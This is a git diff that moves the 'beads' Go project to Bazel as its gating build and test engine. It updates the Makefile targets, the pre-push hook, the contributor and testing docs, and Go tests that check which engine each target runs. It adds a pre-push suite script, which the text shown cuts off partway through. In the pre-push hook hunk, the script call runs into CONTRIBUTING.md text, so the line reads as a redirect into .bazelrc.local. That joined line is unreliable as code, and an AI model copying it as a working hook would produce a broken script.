-1,6 +1,13 @@ -# Bazel configuration for beads (side-by-side with the Go toolchain; `go build` -# and `go test` are unaffected). Bzlmod only; Bazel version is pinned in -# .bazelversion. +# Bazel configuration for beads. Bazel is beads' build and test system: CI +# gates on the `bazel test` lanes in .github/workflows/bazel.yml, and +# `make test`/`make check` run the same commands (engdocs/TESTING.md +# "Building and Testing"). Plain `go build`/`go test` still work as an +# inner-loop convenience but are not what CI enforces. Where actions run is +# per machine, never committed here: contributors read the anonymous, +# read-only cache with --config=fork-cache (defined below); maintainers with +# an rbe-west client certificate execute remotely with --config=remote-exec. +# Make either the default with a `build --config=...` line in the gitignored +# .bazelrc.local. Bzlmod only; Bazel version is pinned in .bazelversion. common --enable_bzlmod common --color=no # C/C++ (and so cgo, -race and the Go stdlib) builds only with MODULE.bazel's diff --git a/.githooks/pre-push b/.githooks/pre-push index 992d7ece3..fc57efb0b 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -1,8 +1,10 @@ #!/usr/bin/env bash -# Pre-push hook: when pushing a release tag (refs/tags/v*), refuse the push if -# version constants disagree. This stops a release from being tagged/published -# with drifted versions (the failure mode that left main red after the 1.0.5 -# release) before it ever reaches CI. +# Pre-push hook: run the Bazel test suite for branch pushes that change Go or +# Bazel inputs (scripts/pre-push-suite.sh), and when pushing a release tag +# (refs/tags/v*), refuse the push if version constants disagree. The version +# check stops a release from being tagged/published with drifted versions (the +# failure mode that left main red after the 1.0.5 release) before it ever +# reaches CI. # # Installed via: git config core.hooksPath .githooks # See also: make install (sets hooksPath automatically) @@ -55,6 +57,36 @@ if [ "$pushing_version_tag" -eq 1 ]; then fi fi +# The push-time test suite (scripts/pre-push-suite.sh): bazel.yml's test lane, +# `bazel test //... --config=ci`, for branch pushes whose new commits change +# Go or Bazel inputs. A tag push, a deletion, or a docs-only push skips it. +# BD_PREPUSH_SUITE=go runs plain go test instead, under a banner. +zero_sha=0000000000000000000000000000000000000000 +suite_needed=0 +while read -r local_ref local_sha _remote_ref remote_sha; do + case "$local_ref" in + refs/heads/*) ;; + *) continue ;; + esac + if [ "$local_sha" = "$zero_sha" ] || ! git cat-file -e "$local_sha^{commit}" 2>/dev/null; then + continue + fi + base="$remote_sha" + if [ "$base" = "$zero_sha" ] || ! git cat-file -e "$base^{commit}" 2>/dev/null; then + # A new remote branch: compare against main's merge-base. + base="$(git merge-base "$local_sha" origin/main 2>/dev/null || true)" + fi + if [ -z "$base" ] || git diff --name-only "$base" "$local_sha" -- \ + '*.go' 'go.mod' 'go.sum' '*.bazel' '*.bzl' '.bazelrc' '.bazelversion' 'MODULE.bazel.lock' | grep -q .; then + suite_needed=1 + fi +done <<< "$push_refs" + +if [ "$suite_needed" -eq 1 ]; then + repo_root="$(git rev-parse --show-toplevel)" + "$repo_root/scripts/pre-push-suite.sh" > .bazelrc.local -# Run tests (uses correct build tags automatically) +# Run the test suite CI gates on (bazel test //... --config=ci) make test -# Build and install locally to ~/.local/bin +# Build and install bd to ~/.local/bin (also enables the git hooks) make install ``` -Optional: if you use Bazel, opt in to the project's anonymous, read-only -build cache by adding `build --config=fork-cache` to your gitignored -`.bazelrc.local` (or pass `--config=fork-cache` per command). Results CI -already computed become cache hits, and nothing you build is uploaded. It is -off by default. +### Building and Testing + +Bazel is the gate: `.github/workflows/bazel.yml` runs every pull request's +tests as `bazel test` lanes, and nogo (lint + vet), gofmt and the repository +guards exist only as Bazel targets. The make targets run the same commands: + +| Command | Runs | +|---|---| +| `make test` | `bazel test //... --config=ci`: the test lane (unit tests, nogo, gofmt, repository guards) | +| `make check` | the testing.Short policy, `make ci-pr-lint` and `make test` | +| `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes | +| `make check-docs` | the Bazel docsync and doc-freshness tests, then the CLI flag check | +| `bazel test //... --config=integration` | the integration lane; [engdocs/TESTING.md](engdocs/TESTING.md) lists every other lane's command | + +Where actions run is your choice, set in the gitignored `.bazelrc.local` (or +per command with `make test BAZEL_FLAGS=--config=...`): + +- `--config=fork-cache` (contributors): reads the anonymous cache, runs misses + on your machine, uploads nothing. +- `--config=remote-exec` (maintainers with an rbe-west client certificate): + executes remotely; the executor and TLS lines stay in your `user.bazelrc` or + `.bazelrc.local`. + +`go test` (`./scripts/test.sh`, or `make test-go` / `make check-go` / +`make check-docs-go`) still works as an inner-loop convenience, but CI does not +enforce it and it skips nogo, gofmt and the guards. Finish with `make test`. ## Project Structure @@ -199,7 +224,8 @@ For test commands, test design, and PR-readiness gates, see the canonical - Follow the proportional validation budget in [engdocs/TESTING.md](engdocs/TESTING.md): docs-only changes use docs checks; - Go changes use focused and affected-package tests plus one final `make test`. + Go changes use focused and affected-package tests plus one final `make test` + (the Bazel test lane). - If you hit a test failure unrelated to your change, don't silently skip it -- check `.test-skip` and file an issue if it's not already tracked (see [engdocs/TESTING.md](engdocs/TESTING.md#failures-skips-and-review)). diff --git a/Makefile b/Makefile index 9797f1555..e9e2a4202 100644 --- a/Makefile +++ b/Makefile @@ -45,6 +45,7 @@ endif .PHONY: all build doctor-build test test-icu-path test-full-cgo test-regression test-upgrade test-cross-version test-migration corpus-regen githooks-regen bench bench-quick clean clean-test-tmp install install-force help check-up-to-date fmt fmt-check check-testing-short .PHONY: lint lint-changed vet +.PHONY: check check-go test-go check-docs-go .PHONY: ci-pr-core ci-pr-policy ci-pr-lint ci-complexity ci-complexity-diff ci-complexity-check ci-package-mcp ci-package-npm .PHONY: api-gen api-check .PHONY: bazel-sync bazel-sync-check @@ -52,6 +53,23 @@ endif # Default target all: build +# Build and test engine. Bazel is what CI gates on: .github/workflows/bazel.yml +# runs `bazel test` lanes on rbe-west, and nogo (lint + vet), formatting and +# the repository guards are Bazel targets there. The primary targets (test, +# check, check-docs) run the same `bazel test` commands as those lanes, so a +# local run shares CI's action keys and its remote cache (engdocs/TESTING.md +# "Building and testing"). Each keeps a plain go twin under an explicit -go +# name (test-go, check-go, check-docs-go) for offline work and hosts Bazel does +# not serve; that twin is an inner-loop convenience, not what CI enforces. +# GitHub Actions jobs that still run Go-native suites call the -go names. +BAZEL ?= bazel +# Extra flags for every `bazel test` below: --config=fork-cache (contributors: +# the anonymous read-only cache) or --config=remote-exec (maintainers with an +# rbe-west client certificate). Hosts whose ~/.bazelrc names the executor need +# neither. Better: put `build --config=...` in the gitignored .bazelrc.local. +BAZEL_FLAGS ?= +BAZEL_TEST = $(BAZEL) test $(BAZEL_FLAGS) + BUILD_DIR := . BD_BUILD_OUTPUT := $(BUILD_DIR)/bd$(if $(filter Windows_NT,$(OS)),.exe) GIT_BUILD := $(shell git rev-parse --short HEAD) @@ -174,11 +192,27 @@ doctor-build: echo " CGO_ENABLED=1 go build -tags gms_pure_go ./cmd/bd" ;; \ esac -# Run all tests (skips known broken tests listed in .test-skip) +# bazel.yml's test lane (`bazel test //... --config=ci`): every untagged +# go_test with PR Core's selection (race, -short, skips), plus nogo lint/vet, +# formatting and the repository guards. The other lanes' commands are in +# engdocs/TESTING.md "Building and testing". test: + $(BAZEL_TEST) //... --config=ci + +# Plain go test (skips known broken tests listed in .test-skip): an inner-loop +# convenience without Bazel; CI does not run it. +test-go: @echo "Running tests..." @TEST_COVER=1 ./scripts/test.sh +# Fast quality gates: the testing.Short policy, the full nogo lint gate +# (native plus the windows/darwin passes) and `make test`. +check: check-testing-short ci-pr-lint test + +# The same gates without Bazel where they have a Go form: gofmt and go test. +# nogo has no go twin, so this is a convenience CI does not enforce. +check-go: fmt-check check-testing-short test-go + # Run the opt-in ICU regex path test suite (no skip list). # This is a local developer workflow for intentionally exercising the leftover # ICU path; it is not part of normal validation. @@ -421,8 +455,15 @@ fmt: fmt-check: @./scripts/ci/fmt-check.sh -# Validate documentation references against actual CLI flags +# Docs checks: docsync and doc freshness as bazel.yml's test lane runs them, +# then the CLI flag check, which validates against bd built from the release in +# docs/cli-docs.pin (so it stays a script, like pr.yml's check-doc-flags job). check-docs: + $(BAZEL_TEST) //test/docsync:docsync_test //scripts/repochecks:doc_freshness_test --config=ci + @./scripts/check-doc-flags.sh + +# The same docs checks with plain go test and a go-built bd. +check-docs-go: @echo "Building bd for docs checks..." @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BUILD_DIR)/bd" ./cmd/bd @./scripts/check-doc-flags.sh "$(BUILD_DIR)/bd" @@ -457,12 +498,10 @@ diagrams-excalidraw: docs-dev: ./mint.sh dev -# Bazel (side-by-side with the Go toolchain; `go build`/`go test` do not need -# it). Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel +# Regenerate BUILD.bazel files with gazelle and refresh the MODULE.bazel # use_repo list + MODULE.bazel.lock, then refresh the go_srcs filegroups that # source-scanning tests declare as data (tools/bazel/go_srcs.py). Run after # changing Go imports, go.mod, or packages. -BAZEL ?= bazel bazel-sync: $(BAZEL) run //:gazelle python3 tools/bazel/go_srcs.py @@ -498,7 +537,10 @@ help: @echo "Beads Makefile targets:" @echo " make build - Build the bd binary" @echo " make doctor-build - Diagnose build env (GOFLAGS/CGO/CC) for the ICU build trap" - @echo " make test - Run all tests" + @echo " make test - bazel test //... --config=ci (bazel.yml's test lane; BAZEL_FLAGS adds flags)" + @echo " make test-go - Plain go test via scripts/test.sh (inner loop; not what CI enforces)" + @echo " make check - testing.Short policy + nogo lint gate + make test" + @echo " make check-go - gofmt + testing.Short policy + make test-go (no Bazel)" @echo " make test-icu-path - Run opt-in ICU regex path tests (maintainer-only)" @echo " make test-full-cgo - Deprecated alias for make test-icu-path" @echo " make ci-pr-core - Run required PR core Go test wrapper" @@ -521,7 +563,8 @@ help: @echo " make install-force - Install bd, skipping the origin/main update check" @echo " make fmt - Format all Go files with gofmt" @echo " make fmt-check - Check Go formatting (for CI)" - @echo " make check-docs - Validate docs against CLI flags" + @echo " make check-docs - Bazel docsync + doc freshness tests, then the CLI flag check" + @echo " make check-docs-go - The same docs checks with plain go test" @echo " make api-gen - Regenerate HTTP API types from the OpenAPI spec" @echo " make api-check - OpenAPI drift gate (regenerate, diff-or-fail, spec tests)" @echo " make bazel-sync - Regenerate Bazel BUILD files and tidy MODULE.bazel (gazelle + mod tidy)" diff --git a/README.md b/README.md index 5526718f6..0984804ed 100644 --- a/README.md +++ b/README.md @@ -212,5 +212,5 @@ This is useful for: ## 📝 Documentation * [Documentation site](https://beads.gascity.com/) | [Installing](docs/getting-started/installation.md) | [Sync Concepts](docs/core-concepts/sync-concepts.md) | [Agent Setup](docs/getting-started/ide-setup.md) | [Copilot CLI Setup](docs/integrations/copilot-cli.md) | [Copilot VS Code MCP](docs/integrations/github-copilot.md) | [Articles](ARTICLES.md) | [Sync Branch Mode](docs/reference/protected-branches.md) | [Troubleshooting](docs/reference/troubleshooting.md) | [FAQ](docs/reference/faq.md) -* Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) | [Roadmap](ROADMAP.md) | [Contributor agent instructions](AGENTS.md) +* Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) (Bazel builds and tests beads: install [Bazelisk](https://github.com/bazelbuild/bazelisk), then `make test`) | [Roadmap](ROADMAP.md) | [Contributor agent instructions](AGENTS.md) * [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/gastownhall/beads) diff --git a/RELEASING.md b/RELEASING.md index a36816306..91a517832 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -138,7 +138,7 @@ Before starting a release: - [ ] `release/x.y.z` branch cut from a SHA green on `Main` **and** `Nightly Full Tests` (see [Release Branches](#release-branches)) -- [ ] All tests passing (`go test ./...`) +- [ ] All tests passing (`make test`, the Bazel test lane) - [ ] npm package tests passing (`cd npm-package && npm run test:all`) - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) - [ ] **Regression tests pass** (`make test-regression`) diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index bffa77fc5..46aab1118 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -1,9 +1,60 @@ # Testing Guide `TESTING.md` is the single authority for test commands, test selection, and -test design in this repository. Use the commands here for local work. For the -exact command behind a current CI check, inspect its workflow and corresponding -`Makefile` target; the CI audit and cleanup plan are dated maintainer context. +test design in this repository. Use the commands here for local work. + +## Building and Testing: Bazel Is the Gate + +Bazel is beads' build and test system. CI gates every pull request on the +`bazel test` lanes in `.github/workflows/bazel.yml`, and several checks exist +only as Bazel targets: nogo (go test's vet checks plus the golangci-lint +linters, `tools/nogo`), gofmt (`//scripts/repochecks:fmt_test`) and the +repository guards under `scripts/repochecks`. A plain `go test` runs none of +them, so it is an inner-loop convenience CI does not enforce; a change is +ready when its Bazel lanes pass. + +Install [Bazelisk](https://github.com/bazelbuild/bazelisk) as `bazel`; it +reads `.bazelversion`. The pre-commit hook (nogo on staged packages) and the +pre-push hook (the test lane) both need it. + +Where actions run is per machine, never committed: + +- **Contributors** read rbe-west's anonymous, read-only cache with + `--config=fork-cache`: everything CI already executed is a cache hit, misses + run on your machine, and nothing is uploaded. Make it the default with + `build --config=fork-cache` in your gitignored `.bazelrc.local`, or pass it + per command (`make test BAZEL_FLAGS=--config=fork-cache`). +- **Maintainers** with an rbe-west client certificate execute remotely with + `--config=remote-exec`; the executor endpoint and TLS lines go in the + gitignored `user.bazelrc` or `.bazelrc.local` (see the `.bazelrc` comments). +- **Agent hosts** whose `~/.bazelrc` names the executor need neither flag. + +Each lane, as bazel.yml runs it (add your `--config=fork-cache` or +`--config=remote-exec` when it is not your default): + +| Lane (bazel.yml job) | Command | Notes | +|---|---|---| +| Test (`bazel-test`) | `make test`, i.e. `bazel test //... --config=ci` | PR Core's selection: race, `-short`, skips. Includes nogo, gofmt and the repository guards. The default gate for every Go change. | +| Lint, all platforms | `make ci-pr-lint` | nogo natively plus the windows/amd64 and darwin/arm64 passes. `make lint-changed` covers only your changed packages. | +| Pure-Go (`bazel-pure`) | `bazel build --config=pure //cmd/bd:bd //cmd/bd:bd_test` | cgo off. The job's cmd/bd test subset (`PURE_CMD_BD_TESTS`), release cross-compile and js/wasm step are in bazel.yml. | +| Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | +| Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | +| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | +| Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | +| Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | +| Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | + +`make check` runs the testing.Short policy, `make ci-pr-lint` and +`make test`. After adding, removing or renaming Go files or changing imports +or `go.mod`, run `make bazel-sync` (gazelle, the `go_srcs` filegroups and +`MODULE.bazel`). + +The Makefile keeps plain-Go twins under explicit `-go` names: `make test-go` +(`./scripts/test.sh`), `make check-go` and `make check-docs-go`. They work +offline and without Bazel, but they are not what CI enforces. GitHub Actions +jobs that still run Go-native suites call the `-go` names, never `make test` +(`TestWorkflowsNameTheirTestEngine`). ## Choose the Smallest Useful Test @@ -17,23 +68,37 @@ a unit test: use the real boundary when the defect could live there. | Need | Run | When | |---|---|---| -| Docs-only validation | `git diff --check`, `go test -tags=gms_pure_go ./test/docsync`, and `./scripts/check-doc-freshness.sh` | For prose-only changes; add any generated-doc or surface-specific link check the changed paths require. Do not run the full Go suite merely because a Markdown file changed. | -| Focused red/green loop | `./scripts/test.sh -run '^TestExactName$' ./path/to/package/...` | While writing or fixing one behavior. | -| Affected-package confidence | `./scripts/test.sh ./path/to/package/...` | After the focused test passes; include directly affected neighbors when their contract changed. | -| Final Go baseline | `make test` | Once after focused work on Go code is green. It applies the normal local build flags, coverage, and local skip handling. | +| Docs-only validation | `git diff --check` and `make check-docs` | For prose-only changes; add any generated-doc or surface-specific link check the changed paths require. Do not run the full suite merely because a Markdown file changed. | +| Focused red/green loop | `bazel test //path/to/package:package_test --config=ci --test_filter='^TestExactName$'`, or the plain-Go `./scripts/test.sh -run '^TestExactName$' ./path/to/package/...` | While writing or fixing one behavior. The `go test` loop is fine here; the Bazel targets below are the gate. | +| Affected-package confidence | `bazel test //path/to/package/... --config=ci` | After the focused test passes; include directly affected neighbors when their contract changed. | +| Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | +| Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | | Named CI wrapper | `make ci-pr-core`, `make ci-pr-policy`, or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | | Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | Do not replace the focused loop with repeated full-suite runs. Run the final -`make test` once the affected Go tests are green. For docs-only changes, use +`make test` once the affected tests are green. For docs-only changes, use the docs, link, and diff checks instead. -## Commands and Local Environment +### Git Hooks -`./scripts/test.sh` is the normal runner. It sources `.buildflags`, creates an -isolated test environment, applies `.test-skip`, and defaults to a **25m -per-package** Go-test timeout. The timeout is a hang backstop, not a target -runtime. Override it only when diagnosing a legitimate slow path: +`make install` points `core.hooksPath` at `.githooks`. The pre-commit hook +formats staged Go files and runs nogo on their packages +(`make lint-changed LINT_CHANGED_SCOPE=staged`). The pre-push hook runs +`scripts/pre-push-suite.sh` for branch pushes whose commits change Go or +Bazel inputs: `bazel test //... --config=ci`, with `--config=remote-exec` +when some rc file names an executor and `--config=fork-cache` otherwise. +`BD_PREPUSH_SUITE=rbe|cache|go` picks the mode; `go` (and the fallback when +bazel is not installed) runs `make test-go` under a banner saying it is not +the suite CI gates on. + +## Plain `go test` (Inner Loop) + +`./scripts/test.sh` is the plain-Go runner behind `make test-go`. It sources +`.buildflags`, creates an isolated test environment, applies `.test-skip`, and +defaults to a **25m per-package** Go-test timeout. The timeout is a hang +backstop, not a target runtime. Override it only when diagnosing a legitimate +slow path: ```bash TEST_TIMEOUT=30m ./scripts/test.sh ./cmd/bd/... @@ -63,9 +128,9 @@ make test-cross-version make test-migration ``` -For a failing GitHub Actions check, follow the current workflow and its -`Makefile` target when exact reproduction matters. The local runner and CI -intentionally have different contracts in some cases. +For a failing GitHub Actions check, run the command of its bazel.yml lane +from the table above; for the jobs that are not Bazel lanes, follow the +workflow and its `Makefile` target. ### Test Environment and Readiness @@ -339,9 +404,10 @@ underlying failure is fixed. Before opening a PR: 1. For docs-only changes, run the applicable docs, link, freshness, and diff - checks; do not run the full Go suite by default. + checks; do not run the full suite by default. 2. For Go code, keep the focused and affected-package tests green, then run one - final `make test`. + final `make test` (the Bazel test lane), plus the lane of any other tier + the change touches. 3. Run only the named CI wrapper, specialized target, or risk gate required by the changed surface, or the one needed to reproduce a CI result. diff --git a/examples/formulas/primitives/README.md b/examples/formulas/primitives/README.md index ad52c67dc..879f10010 100644 --- a/examples/formulas/primitives/README.md +++ b/examples/formulas/primitives/README.md @@ -41,7 +41,7 @@ primitives are wired, not just that fixtures parse. Run with `make test`, or in isolation: ```sh -go test -tags gms_pure_go -run TestFormulaPrimitiveExamples ./cmd/bd/ +bazel test //cmd/bd:bd_test --config=ci --test_filter='^TestFormulaPrimitiveExamples$' ``` ## What's NOT here diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index f19b1c2a6..cfaad6e93 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -40,12 +40,14 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "install_dolt_test.go", + "makefile_bazel_primary_test.go", "managed_local_lane_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", + "pre_push_suite_test.go", "pull_dolt_image_test.go", "rbe_worker_env_test.go", "release_script_test.go", diff --git a/scripts/README.md b/scripts/README.md index d9d99d6de..3bfa67bde 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -28,7 +28,7 @@ lint authority used by `bd preflight` in a Beads source checkout. Broad Go test wrappers also source `scripts/ci/lib/test-env.sh`, which creates a temporary HOME/XDG/Dolt root, isolates Git global/system config, clears runtime Beads/Dolt environment variables, and sets `BEADS_TEST_SKIP=dolt` before tests -run. This keeps local `make test` and `make ci-pr-core` results comparable to +run. This keeps local `make test-go` and `make ci-pr-core` results comparable to the fast PR-core contract even on shared agent hosts. Set `BEADS_TEST_ENV_RUN_DOLT=1` only when intentionally running the Dolt-dependent tests through these broad wrappers, or `BEADS_TEST_ENV_DISABLE=1` when debugging diff --git a/scripts/makefile_bazel_primary_test.go b/scripts/makefile_bazel_primary_test.go new file mode 100644 index 000000000..c94244f2e --- /dev/null +++ b/scripts/makefile_bazel_primary_test.go @@ -0,0 +1,135 @@ +package scripts_test + +import ( + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// Bazel is beads' build and test system: bazel.yml's lanes gate every PR, +// and nogo (lint + vet), formatting and the repository guards exist only as +// Bazel targets. The primary make targets run the commands those lanes run, +// everywhere (GitHub Actions included), and each keeps a plain go twin under +// an explicit -go name. A workflow that runs a Go-native suite calls the -go +// name, so its engine is written in the workflow, not sniffed from the +// environment. + +const fakeMakeBazel = "/fake/bazel" + +// makeDryRun prints the recipe `make TARGET` would run, with BAZEL pointing +// at a fake path so a bazel invocation is recognizable. +func makeDryRun(t *testing.T, target string, env ...string) string { + t.Helper() + makeBin := requireHostTool(t, "make") + root := sourceRepoRoot(t) + cmd := exec.Command(makeBin, "--no-print-directory", "-n", + "-f", filepath.Join(root, "Makefile"), + "BAZEL="+fakeMakeBazel, + target) + cmd.Dir = root + for _, entry := range os.Environ() { + name, _, _ := strings.Cut(entry, "=") + switch name { + case "GITHUB_ACTIONS", "BAZEL_FLAGS", "MAKEFLAGS", "MAKELEVEL", "MFLAGS": + continue + } + cmd.Env = append(cmd.Env, entry) + } + cmd.Env = append(cmd.Env, env...) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("make -n %s: %v\n%s", target, err, out) + } + return string(out) +} + +// goEngineRE matches a recipe line that tests with the Go toolchain. +var goEngineRE = regexp.MustCompile(`(^|\s)go test\s|scripts/test\.sh`) + +func TestMakePrimaryTargetsRunBazel(t *testing.T) { + for target, wants := range map[string][]string{ + "test": {fakeMakeBazel + " test //... --config=ci"}, + "check": { + "./scripts/check-testing-short.sh", + "./scripts/ci/pr-lint.sh", + fakeMakeBazel + " test //... --config=ci", + }, + "check-docs": { + fakeMakeBazel + " test //test/docsync:docsync_test //scripts/repochecks:doc_freshness_test --config=ci", + "./scripts/check-doc-flags.sh", + }, + } { + for _, env := range [][]string{nil, {"GITHUB_ACTIONS=true"}} { + t.Run(target+strings.Join(env, ","), func(t *testing.T) { + out := makeDryRun(t, target, env...) + for _, want := range wants { + if !strings.Contains(out, want) { + t.Errorf("make %s (env %v) does not run %q:\n%s", target, env, want, out) + } + } + if goEngineRE.MatchString(out) { + t.Errorf("make %s (env %v) runs go test instead of bazel:\n%s", target, env, out) + } + }) + } + } +} + +func TestMakeBazelFlagsReachEveryBazelTest(t *testing.T) { + out := makeDryRun(t, "test", "BAZEL_FLAGS=--config=fork-cache") + if want := fakeMakeBazel + " test --config=fork-cache //... --config=ci"; !strings.Contains(out, want) { + t.Errorf("make test with BAZEL_FLAGS does not run %q:\n%s", want, out) + } +} + +func TestMakeGoTwinsRunGoTest(t *testing.T) { + for target, want := range map[string]string{ + "test-go": "./scripts/test.sh", + "check-go": "./scripts/test.sh", + "check-docs-go": "go test -tags=gms_pure_go ./test/docsync", + } { + t.Run(target, func(t *testing.T) { + out := makeDryRun(t, target) + if !strings.Contains(out, want) { + t.Errorf("make %s does not run %q:\n%s", target, want, out) + } + if strings.Contains(out, fakeMakeBazel+" test") { + t.Errorf("make %s runs bazel test:\n%s", target, out) + } + }) + } +} + +// primaryMakeCallRE matches a call of a bazel-backed primary make target (not +// its -go twin or another target sharing the prefix). +var primaryMakeCallRE = regexp.MustCompile(`\bmake (test|check|check-docs)(\s|$|["'])`) + +// TestWorkflowsNameTheirTestEngine: a workflow runs bazel directly, or a +// Go-native suite through an explicit -go make target, never a primary name +// whose engine a reader would have to look up in the Makefile. +func TestWorkflowsNameTheirTestEngine(t *testing.T) { + root := sourceRepoRoot(t) + files, err := filepath.Glob(filepath.Join(root, ".github", "workflows", "*.y*ml")) + if err != nil || len(files) == 0 { + t.Fatalf("glob workflows: %v (%d files)", err, len(files)) + } + for _, file := range files { + body, err := os.ReadFile(file) + if err != nil { + t.Fatalf("read %s: %v", file, err) + } + for i, line := range strings.Split(string(body), "\n") { + trimmed := strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "- ")) + if strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, "name:") { + continue + } + if m := primaryMakeCallRE.FindStringSubmatch(line); m != nil { + t.Errorf("%s:%d calls `make %s`, which runs bazel; call `make %s-go` for the Go-native suite or bazel directly", + filepath.Base(file), i+1, m[1], m[1]) + } + } + } +} diff --git a/scripts/pre-push-suite.sh b/scripts/pre-push-suite.sh new file mode 100755 index 000000000..9041d5527 --- /dev/null +++ b/scripts/pre-push-suite.sh @@ -0,0 +1,140 @@ +#!/usr/bin/env bash +# The push-time test suite, run by .githooks/pre-push when a pushed branch +# changes Go or Bazel inputs: bazel.yml's test lane, `bazel test //... +# --config=ci`, with the action keys CI uses, so a push reuses what CI and +# earlier pushes already computed. +# +# BD_PREPUSH_SUITE picks where it runs (default auto): +# auto remote-exec when bazel's effective options name a remote executor +# (a maintainer's .bazelrc.local, an agent host's ~/.bazelrc); +# fork-cache when bazel is installed without one; go when bazel is +# not installed. +# rbe --config=remote-exec; fails when no rc file names an executor (the +# suite would otherwise compile and run on this machine). +# cache --config=fork-cache: the anonymous read-only cache; misses run on +# this machine and nothing is uploaded. +# go make test-go (plain go test through scripts/test.sh), under a +# banner saying it is not what CI enforces. +# BAZEL and MAKE override the binaries. Bypass the hook: git push --no-verify. +set -euo pipefail + +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +cd "$repo_root" + +bazel_bin="${BAZEL:-bazel}" +make_bin="${MAKE:-make}" +mode="${BD_PREPUSH_SUITE:-auto}" +executor="" +# Why the push runs plain go test instead of bazel, and how to get bazel back. +go_why="BD_PREPUSH_SUITE=go" +go_fix="unset BD_PREPUSH_SUITE to run the bazel suite" + +# The go suite is not what CI enforces: bazel.yml gates on bazel test, whose +# nogo lint/vet, formatting and repository-guard targets have no go test +# counterpart. Say so loudly, with the reason, so a green push is not read as +# CI parity. +announce_go_suite() { + { + echo "pre-push: ========================================================================" + echo "pre-push: running make test-go (plain go test): NOT the bazel suite CI gates on." + echo "pre-push: why: $go_why" + echo "pre-push: CI runs bazel test //... --config=ci (.github/workflows/bazel.yml); a push" + echo "pre-push: that passes here can still fail there (nogo lint/vet, formatting, guards)." + echo "pre-push: fix: $go_fix" + echo "pre-push: ========================================================================" + } >&2 +} + +# The remote executor some rc file names for this workspace, empty for none: +# the last non-empty --remote_executor among the rc options Bazel reads +# (system, workspace with .bazelrc.local and user.bazelrc, home) and the +# remote-exec config's definitions, from `bazel info --announce_rc`. Bazel's +# own reading of every rc, not a grep of one file, so an agent host's +# ~/.bazelrc executor counts. Fails, printing Bazel's error, when Bazel cannot +# read its options. +effective_remote_executor() { + local announced + if ! announced="$("$bazel_bin" info --announce_rc --config=remote-exec release 2>&1 >/dev/null)"; then + printf '%s\n' "$announced" >&2 + return 1 + fi + printf '%s\n' "$announced" | awk ' + /^INFO: (Reading rc options|Options provided by the client)/ { section = 1; next } + /^[^[:space:]]/ { section = 0 } + !section && !/^INFO: Found applicable config definition [^ ]*:remote-exec / { next } + { + for (i = 1; i <= NF; i++) { + value = "" + if ($i ~ /^--remote_executor=/) { + value = substr($i, length("--remote_executor=") + 1) + } else if ($i == "--remote_executor" && i < NF) { + value = $(i + 1) + } + if (value != "") { + executor = value + } + } + } + END { print executor }' +} + +# Sets $executor, or fails the push: an unreadable option set is no evidence +# for either mode. +probe_executor() { + if ! executor="$(effective_remote_executor)"; then + echo "pre-push: bazel info could not read this workspace's options (above); fix the rc, or set BD_PREPUSH_SUITE=rbe|cache|go" >&2 + exit 2 + fi +} + +have_bazel() { + command -v "$bazel_bin" >/dev/null 2>&1 +} + +case "$mode" in +auto) + if ! have_bazel; then + go_why="bazel is not installed" + go_fix="install bazelisk as bazel (CONTRIBUTING.md \"Building and testing\")" + mode=go + else + probe_executor + if [ -n "$executor" ]; then + mode=rbe + else + mode=cache + fi + fi + ;; +go | cache) ;; +rbe) + if have_bazel; then + probe_executor + if [ -z "$executor" ]; then + echo "pre-push: BD_PREPUSH_SUITE=rbe but no rc file names a --remote_executor; configure one (engdocs/TESTING.md \"Building and testing\") or use BD_PREPUSH_SUITE=cache|go" >&2 + exit 2 + fi + fi + ;; +*) + echo "pre-push: 